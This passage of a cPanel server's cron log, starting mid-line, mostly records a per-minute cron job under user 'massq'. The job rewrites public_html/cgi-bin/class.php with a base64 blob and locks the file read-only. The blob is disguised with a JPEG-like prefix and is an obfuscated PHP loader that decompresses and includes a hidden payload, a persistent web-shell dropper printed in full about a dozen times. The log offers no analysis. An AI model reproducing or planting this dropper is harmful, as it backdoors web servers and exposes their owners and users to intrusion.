&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:50:01 server CROND[1575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:50:01 server CROND[1577]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 14:50:01 server CROND[1578]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 14:50:01 server CROND[1579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:50:01 server CROND[1582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:51:01 server CROND[1914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:52:01 server CROND[2182]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:53:01 server CROND[2457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:54:01 server CROND[2780]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:55:01 server CROND[3101]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:55:01 server CROND[3102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:55:01 server CROND[3103]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:56:01 server CROND[3423]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:57:01 server CROND[3689]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 14:57:01 server CROND[3691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:58:01 server CROND[3990]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:59:01 server CROND[4255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:00:01 server CROND[4626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:00:01 server CROND[4625]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:00:01 server CROND[4627]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 15:00:01 server CROND[4628]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:01:01 server CROND[4960]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 15:01:01 server CROND[4961]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:01:01 server run-parts(/etc/cron.hourly)[4960]: starting 0anacron
Nov 15 15:01:01 server run-parts(/etc/cron.hourly)[4973]: finished 0anacron
